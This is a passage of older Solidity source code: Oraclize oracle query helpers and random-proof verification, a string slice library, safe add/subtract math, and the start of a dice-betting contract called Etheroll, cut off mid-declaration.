id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_setConfig(bytes32 config) oraclizeAPI internal { return oraclize.setConfig(config); } function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){ return oraclize.randomDS_getSessionPubKeyHash(); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal returns (string) { return strConcat(_a, _b, _c, _d, """"); } function strConcat(string _a, string _b, string _c) internal returns (string) { return strConcat(_a, _b, _c, """", """"); } function strConcat(string _a, string _b) internal returns (string) { return strConcat(_a, _b, """", """", """"); } // parseInt function parseInt(string _a) internal returns (uint) { return parseInt(_a, 0); } // parseInt(parseFloat*10^_b) function parseInt(string _a, uint _b) internal returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } function uint2str(uint i) internal returns (string){ if (i == 0) return ""0""; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } function stra2cbor(string[] arr) internal returns (bytes) { uint arrlen = arr.length; // get correct cbor output length uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { // if there's a bug with larger strings, this may be the culprit if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } function ba2cbor(bytes[] arr) internal returns (bytes) { uint arrlen = arr.length; // get correct cbor output length uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { // if there's a bug with larger strings, this may be the culprit if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } string oraclize_network_name; function oraclize_setNetworkName(string _network_name) internal { oraclize_network_name = _network_name; } function oraclize_getNetworkName() internal returns (string) { return oraclize_network_name; } function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){ if ((_nbytes == 0)||(_nbytes > 32)) throw; bytes memory nbytes = new bytes(1); nbytes[0] = byte(_nbytes); bytes memory unonce = new bytes(32); bytes memory sessionKeyHash = new bytes(32); bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash(); assembly { mstore(unonce, 0x20) mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp))) mstore(sessionKeyHash, 0x20) mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32) } bytes[3] memory args = [unonce, nbytes, sessionKeyHash]; bytes32 queryId = oraclize_query(_delay, ""random"", args, _customGasLimit); oraclize_randomDS_setCommitment(queryId, sha3(bytes8(_delay), args[1], sha256(args[0]), args[2])); return queryId; } function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal { oraclize_randomDS_args[queryId] = commitment; } mapping(bytes32=>bytes32) oraclize_randomDS_args; mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified; function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){ bool sigok; address signer; bytes32 sigr; bytes32 sigs; bytes memory sigr_ = new bytes(32); uint offset = 4+(uint(dersig[3]) - 0x20); sigr_ = copyBytes(dersig, offset, 32, sigr_, 0); bytes memory sigs_ = new bytes(32); offset += 32 + 2; sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0); assembly { sigr := mload(add(sigr_, 32)) sigs := mload(add(sigs_, 32)) } (sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs); if (address(sha3(pubkey)) == signer) return true; else { (sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs); return (address(sha3(pubkey)) == signer); } } function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) { bool sigok; // Step 6: verify the attestation signature, APPKEY1 must sign the sessionKey from the correct ledger app (CODEHASH) bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2); copyBytes(proof, sig2offset, sig2.length, sig2, 0); bytes memory appkey1_pubkey = new bytes(64); copyBytes(proof, 3+1, 64, appkey1_pubkey, 0); bytes memory tosign2 = new bytes(1+65+32); tosign2[0] = 1; //role copyBytes(proof, sig2offset-65, 65, tosign2, 1); bytes memory CODEHASH = hex""fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c""; copyBytes(CODEHASH, 0, 32, tosign2, 1+65); sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey); if (sigok == false) return false; // Step 7: verify the APPKEY1 provenance (must be signed by Ledger) bytes memory LEDGERKEY = hex""7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4""; bytes memory tosign3 = new bytes(1+65); tosign3[0] = 0xFE; copyBytes(proof, 3, 65, tosign3, 1); bytes memory sig3 = new bytes(uint(proof[3+65+1])+2); copyBytes(proof, 3+65, sig3.length, sig3, 0); sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY); return sigok; } modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) { // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) if ((_proof[0] != ""L"")||(_proof[1] != ""P"")||(_proof[2] != 1)) throw; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) throw; _; } function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){ // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) if ((_proof[0] != ""L"")||(_proof[1] != ""P"")||(_proof[2] != 1)) return 1; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) return 2; return 0; } function matchBytes32Prefix(bytes32 content, bytes prefix) internal returns (bool){ bool match_ = true; for (var i=0; i /* * @title String & slice utility library for Solidity contracts. * @author Nick Johnson <[email protected]> * * @dev Functionality in this library is largely implemented using an * abstraction called a 'slice'. A slice represents a part of a string - * anything from the entire string to a single character, or even no * characters at all (a 0-length slice). Since a slice only has to specify * an offset and a length, copying and manipulating slices is a lot less * expensive than copying and manipulating the strings they reference. * * To further reduce gas costs, most functions on slice that need to return * a slice modify the original one instead of allocating a new one; for * instance, `s.split(""."")` will return the text up to the first '.', * modifying s to only contain the remainder of the string after the '.'. * In situations where you do not want to modify the original slice, you * can make a copy first with `.copy()`, for example: * `s.copy().split(""."")`. Try and avoid using this idiom in loops; since * Solidity has no memory management, it will result in allocating many * short-lived slices that are later discarded. * * Functions that return two slices come in two versions: a non-allocating * version that takes the second slice as an argument, modifying it in * place, and an allocating version that allocates and returns the second * slice; see `nextRune` for example. * * Functions that have to copy string data will return strings rather than * slices; these can be cast back to slices for further processing if * required. * * For convenience, some functions are provided with non-modifying * variants that create a new slice and return both; for instance, * `s.splitNew('.')` leaves s unmodified, and returns two values * corresponding to the left and right parts of the string. */ library strings { struct slice { uint _len; uint _ptr; } function memcpy(uint dest, uint src, uint len) private { // Copy word-length chunks while possible for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } /* * @dev Returns a slice containing the entire string. * @param self The string to make a slice from. * @return A newly allocated slice containing the entire string. */ function toSlice(string self) internal returns (slice) { uint ptr; assembly { ptr := add(self, 0x20) } return slice(bytes(self).length, ptr); } /* * @dev Returns the length of a null-terminated bytes32 string. * @param self The value to find the length of. * @return The length of the string, from 0 to 32. */ function len(bytes32 self) internal returns (uint) { uint ret; if (self == 0) return 0; if (self & 0xffffffffffffffffffffffffffffffff == 0) { ret += 16; self = bytes32(uint(self) / 0x100000000000000000000000000000000); } if (self & 0xffffffffffffffff == 0) { ret += 8; self = bytes32(uint(self) / 0x10000000000000000); } if (self & 0xffffffff == 0) { ret += 4; self = bytes32(uint(self) / 0x100000000); } if (self & 0xffff == 0) { ret += 2; self = bytes32(uint(self) / 0x10000); } if (self & 0xff == 0) { ret += 1; } return 32 - ret; } /* * @dev Returns a slice containing the entire bytes32, interpreted as a * null-termintaed utf-8 string. * @param self The bytes32 value to convert to a slice. * @return A new slice containing the value of the input argument up to the * first null. */ function toSliceB32(bytes32 self) internal returns (slice ret) { // Allocate space for `self` in memory, copy it there, and point ret at it assembly { let ptr := mload(0x40) mstore(0x40, add(ptr, 0x20)) mstore(ptr, self) mstore(add(ret, 0x20), ptr) } ret._len = len(self); } /* * @dev Returns a new slice containing the same data as the current slice. * @param self The slice to copy. * @return A new slice containing the same data as `self`. */ function copy(slice self) internal returns (slice) { return slice(self._len, self._ptr); } /* * @dev Copies a slice to a new string. * @param self The slice to copy. * @return A newly allocated string containing the slice's text. */ function toString(slice self) internal returns (string) { var ret = new string(self._len); uint retptr; assembly { retptr := add(ret, 32) } memcpy(retptr, self._ptr, self._len); return ret; } /* * @dev Returns the length in runes of the slice. Note that this operation * takes time proportional to the length of the slice; avoid using it * in loops, and call `slice.empty()` if you only need to know whether * the slice is empty or not. * @param self The slice to operate on. * @return The length of the slice in runes. */ function len(slice self) internal returns (uint) { // Starting at ptr-31 means the LSB will be the byte we care about var ptr = self._ptr - 31; var end = ptr + self._len; for (uint len = 0; ptr < end; len++) { uint8 b; assembly { b := and(mload(ptr), 0xFF) } if (b < 0x80) { ptr += 1; } else if(b < 0xE0) { ptr += 2; } else if(b < 0xF0) { ptr += 3; } else if(b < 0xF8) { ptr += 4; } else if(b < 0xFC) { ptr += 5; } else { ptr += 6; } } return len; } /* * @dev Returns true if the slice is empty (has a length of 0). * @param self The slice to operate on. * @return True if the slice is empty, False otherwise. */ function empty(slice self) internal returns (bool) { return self._len == 0; } /* * @dev Returns a positive number if `other` comes lexicographically after * `self`, a negative number if it comes before, or zero if the * contents of the two slices are equal. Comparison is done per-rune, * on unicode codepoints. * @param self The first slice to compare. * @param other The second slice to compare. * @return The result of the comparison. */ function compare(slice self, slice other) internal returns (int) { uint shortest = self._len; if (other._len < self._len) shortest = other._len; var selfptr = self._ptr; var otherptr = other._ptr; for (uint idx = 0; idx < shortest; idx += 32) { uint a; uint b; assembly { a := mload(selfptr) b := mload(otherptr) } if (a != b) { // Mask out irrelevant bytes and check again uint mask = ~(2 ** (8 * (32 - shortest + idx)) - 1); var diff = (a & mask) - (b & mask); if (diff != 0) return int(diff); } selfptr += 32; otherptr += 32; } return int(self._len) - int(other._len); } /* * @dev Returns true if the two slices contain the same text. * @param self The first slice to compare. * @param self The second slice to compare. * @return True if the slices are equal, false otherwise. */ function equals(slice self, slice other) internal returns (bool) { return compare(self, other) == 0; } /* * @dev Extracts the first rune in the slice into `rune`, advancing the * slice to point to the next rune and returning `self`. * @param self The slice to operate on. * @param rune The slice that will contain the first rune. * @return `rune`. */ function nextRune(slice self, slice rune) internal returns (slice) { rune._ptr = self._ptr; if (self._len == 0) { rune._len = 0; return rune; } uint len; uint b; // Load the first byte of the rune into the LSBs of b assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) } if (b < 0x80) { len = 1; } else if(b < 0xE0) { len = 2; } else if(b < 0xF0) { len = 3; } else { len = 4; } // Check for truncated codepoints if (len > self._len) { rune._len = self._len; self._ptr += self._len; self._len = 0; return rune; } self._ptr += len; self._len -= len; rune._len = len; return rune; } /* * @dev Returns the first rune in the slice, advancing the slice to point * to the next rune. * @param self The slice to operate on. * @return A slice containing only the first rune from `self`. */ function nextRune(slice self) internal returns (slice ret) { nextRune(self, ret); } /* * @dev Returns the number of the first codepoint in the slice. * @param self The slice to operate on. * @return The number of the first codepoint in the slice. */ function ord(slice self) internal returns (uint ret) { if (self._len == 0) { return 0; } uint word; uint len; uint div = 2 ** 248; // Load the rune into the MSBs of b assembly { word:= mload(mload(add(self, 32))) } var b = word / div; if (b < 0x80) { ret = b; len = 1; } else if(b < 0xE0) { ret = b & 0x1F; len = 2; } else if(b < 0xF0) { ret = b & 0x0F; len = 3; } else { ret = b & 0x07; len = 4; } // Check for truncated codepoints if (len > self._len) { return 0; } for (uint i = 1; i < len; i++) { div = div / 256; b = (word / div) & 0xFF; if (b & 0xC0 != 0x80) { // Invalid UTF-8 sequence return 0; } ret = (ret * 64) | (b & 0x3F); } return ret; } /* * @dev Returns the keccak-256 hash of the slice. * @param self The slice to hash. * @return The hash of the slice. */ function keccak(slice self) internal returns (bytes32 ret) { assembly { ret := sha3(mload(add(self, 32)), mload(self)) } } /* * @dev Returns true if `self` starts with `needle`. * @param self The slice to operate on. * @param needle The slice to search for. * @return True if the slice starts with the provided text, false otherwise. */ function startsWith(slice self, slice needle) internal returns (bool) { if (self._len < needle._len) { return false; } if (self._ptr == needle._ptr) { return true; } bool equal; assembly { let len := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq(sha3(selfptr, len), sha3(needleptr, len)) } return equal; } /* * @dev If `self` starts with `needle`, `needle` is removed from the * beginning of `self`. Otherwise, `self` is unmodified. * @param self The slice to operate on. * @param needle The slice to search for. * @return `self` */ function beyond(slice self, slice needle) internal returns (slice) { if (self._len < needle._len) { return self; } bool equal = true; if (self._ptr != needle._ptr) { assembly { let len := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq(sha3(selfptr, len), sha3(needleptr, len)) } } if (equal) { self._len -= needle._len; self._ptr += needle._len; } return self; } /* * @dev Returns true if the slice ends with `needle`. * @param self The slice to operate on. * @param needle The slice to search for. * @return True if the slice starts with the provided text, false otherwise. */ function endsWith(slice self, slice needle) internal returns (bool) { if (self._len < needle._len) { return false; } var selfptr = self._ptr + self._len - needle._len; if (selfptr == needle._ptr) { return true; } bool equal; assembly { let len := mload(needle) let needleptr := mload(add(needle, 0x20)) equal := eq(sha3(selfptr, len), sha3(needleptr, len)) } return equal; } /* * @dev If `self` ends with `needle`, `needle` is removed from the * end of `self`. Otherwise, `self` is unmodified. * @param self The slice to operate on. * @param needle The slice to search for. * @return `self` */ function until(slice self, slice needle) internal returns (slice) { if (self._len < needle._len) { return self; } var selfptr = self._ptr + self._len - needle._len; bool equal = true; if (selfptr != needle._ptr) { assembly { let len := mload(needle) let needleptr := mload(add(needle, 0x20)) equal := eq(sha3(selfptr, len), sha3(needleptr, len)) } } if (equal) { self._len -= needle._len; } return self; } // Returns the memory address of the first byte of the first occurrence of // `needle` in `self`, or the first byte after `self` if not found. function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private returns (uint) { uint ptr; uint idx; if (needlelen <= selflen) { if (needlelen <= 32) { // Optimized assembly for 68 gas per byte on short strings assembly { let mask := not(sub(exp(2, mul(8, sub(32, needlelen))), 1)) let needledata := and(mload(needleptr), mask) let end := add(selfptr, sub(selflen, needlelen)) ptr := selfptr loop: jumpi(exit, eq(and(mload(ptr), mask), needledata)) ptr := add(ptr, 1) jumpi(loop, lt(sub(ptr, 1), end)) ptr := add(selfptr, selflen) exit: } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly { hash := sha3(needleptr, needlelen) } ptr = selfptr; for (idx = 0; idx <= selflen - needlelen; idx++) { bytes32 testHash; assembly { testHash := sha3(ptr, needlelen) } if (hash == testHash) return ptr; ptr += 1; } } } return selfptr + selflen; } // Returns the memory address of the first byte after the last occurrence of // `needle` in `self`, or the address of `self` if not found. function rfindPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private returns (uint) { uint ptr; if (needlelen <= selflen) { if (needlelen <= 32) { // Optimized assembly for 69 gas per byte on short strings assembly { let mask := not(sub(exp(2, mul(8, sub(32, needlelen))), 1)) let needledata := and(mload(needleptr), mask) ptr := add(selfptr, sub(selflen, needlelen)) loop: jumpi(ret, eq(and(mload(ptr), mask), needledata)) ptr := sub(ptr, 1) jumpi(loop, gt(add(ptr, 1), selfptr)) ptr := selfptr jump(exit) ret: ptr := add(ptr, needlelen) exit: } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly { hash := sha3(needleptr, needlelen) } ptr = selfptr + (selflen - needlelen); while (ptr >= selfptr) { bytes32 testHash; assembly { testHash := sha3(ptr, needlelen) } if (hash == testHash) return ptr + needlelen; ptr -= 1; } } } return selfptr; } /* * @dev Modifies `self` to contain everything from the first occurrence of * `needle` to the end of the slice. `self` is set to the empty slice * if `needle` is not found. * @param self The slice to search and modify. * @param needle The text to search for. * @return `self`. */ function find(slice self, slice needle) internal returns (slice) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr); self._len -= ptr - self._ptr; self._ptr = ptr; return self; } /* * @dev Modifies `self` to contain the part of the string from the start of * `self` to the end of the first occurrence of `needle`. If `needle` * is not found, `self` is set to the empty slice. * @param self The slice to search and modify. * @param needle The text to search for. * @return `self`. */ function rfind(slice self, slice needle) internal returns (slice) { uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr); self._len = ptr - self._ptr; return self; } /* * @dev Splits the slice, setting `self` to everything after the first * occurrence of `needle`, and `token` to everything before it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and `token` is set to the entirety of `self`. * @param self The slice to split. * @param needle The text to search for in `self`. * @param token An output parameter to which the first token is written. * @return `token`. */ function split(slice self, slice needle, slice token) internal returns (slice) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr); token._ptr = self._ptr; token._len = ptr - self._ptr; if (ptr == self._ptr + self._len) { // Not found self._len = 0; } else { self._len -= token._len + needle._len; self._ptr = ptr + needle._len; } return token; } /* * @dev Splits the slice, setting `self` to everything after the first * occurrence of `needle`, and returning everything before it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and the entirety of `self` is returned. * @param self The slice to split. * @param needle The text to search for in `self`. * @return The part of `self` up to the first occurrence of `delim`. */ function split(slice self, slice needle) internal returns (slice token) { split(self, needle, token); } /* * @dev Splits the slice, setting `self` to everything before the last * occurrence of `needle`, and `token` to everything after it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and `token` is set to the entirety of `self`. * @param self The slice to split. * @param needle The text to search for in `self`. * @param token An output parameter to which the first token is written. * @return `token`. */ function rsplit(slice self, slice needle, slice token) internal returns (slice) { uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr); token._ptr = ptr; token._len = self._len - (ptr - self._ptr); if (ptr == self._ptr) { // Not found self._len = 0; } else { self._len -= token._len + needle._len; } return token; } /* * @dev Splits the slice, setting `self` to everything before the last * occurrence of `needle`, and returning everything after it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and the entirety of `self` is returned. * @param self The slice to split. * @param needle The text to search for in `self`. * @return The part of `self` after the last occurrence of `delim`. */ function rsplit(slice self, slice needle) internal returns (slice token) { rsplit(self, needle, token); } /* * @dev Counts the number of nonoverlapping occurrences of `needle` in `self`. * @param self The slice to search. * @param needle The text to search for in `self`. * @return The number of occurrences of `needle` found in `self`. */ function count(slice self, slice needle) internal returns (uint count) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len; while (ptr <= self._ptr + self._len) { count++; ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len; } } /* * @dev Returns True if `self` contains `needle`. * @param self The slice to search. * @param needle The text to search for in `self`. * @return True if `needle` is found in `self`, false otherwise. */ function contains(slice self, slice needle) internal returns (bool) { return rfindPtr(self._len, self._ptr, needle._len, needle._ptr) != self._ptr; } /* * @dev Returns a newly allocated string containing the concatenation of * `self` and `other`. * @param self The first slice to concatenate. * @param other The second slice to concatenate. * @return The concatenation of the two strings. */ function concat(slice self, slice other) internal returns (string) { var ret = new string(self._len + other._len); uint retptr; assembly { retptr := add(ret, 32) } memcpy(retptr, self._ptr, self._len); memcpy(retptr + self._len, other._ptr, other._len); return ret; } /* * @dev Joins an array of slices, using `self` as a delimiter, returning a * newly allocated string. * @param self The delimiter to use. * @param parts A list of slices to join. * @return A newly allocated string containing all the slices in `parts`, * joined with `self`. */ function join(slice self, slice[] parts) internal returns (string) { if (parts.length == 0) return """"; uint len = self._len * (parts.length - 1); for(uint i = 0; i < parts.length; i++) len += parts[i]._len; var ret = new string(len); uint retptr; assembly { retptr := add(ret, 32) } for(i = 0; i < parts.length; i++) { memcpy(retptr, parts[i]._ptr, parts[i]._len); retptr += parts[i]._len; if (i < parts.length - 1) { memcpy(retptr, self._ptr, self._len); retptr += self._len; } } return ret; } } contract DSSafeAddSub { function safeToAdd(uint a, uint b) internal returns (bool) { return (a + b >= a); } function safeAdd(uint a, uint b) internal returns (uint) { if (!safeToAdd(a, b)) throw; return a + b; } function safeToSubtract(uint a, uint b) internal returns (bool) { return (b <= a); } function safeSub(uint a, uint b) internal returns (uint) { if (!safeToSubtract(a, b)) throw; return a - b; } } contract Etheroll is usingOraclize, DSSafeAddSub { using strings for *; /* * checks player profit, bet size and player number is within range */ modifier betIsValid(uint _betSize, uint _playerNumber) { if(((((_betSize * (100-(safeSub(_playerNumber,1)))) / (safeSub(_playerNumber,1))+_betSize))*houseEdge/houseEdgeDivisor)-_betSize > maxProfit || _betSize < minBet || _playerNumber < minNumber || _playerNumber > maxNumber) throw; _; } /* * checks game is currently active */ modifier gameIsActive { if(gamePaused == true) throw; _; } /* * checks payouts are currently active */ modifier payoutsAreActive { if(payoutsPaused == true) throw; _; } /* * checks only Oraclize address is calling */ modifier onlyOraclize { if (msg.sender != oraclize_cbAddress()) throw; _; } /* * checks only owner address is calling */ modifier onlyOwner { if (msg.sender != owner) throw; _; } /* * checks only treasury address is calling */ modifier onlyTreasury { if (msg.sender != treasury) throw; _; } /* * game vars */ uint constant public maxProfitDivisor = 1000000; uint constant public 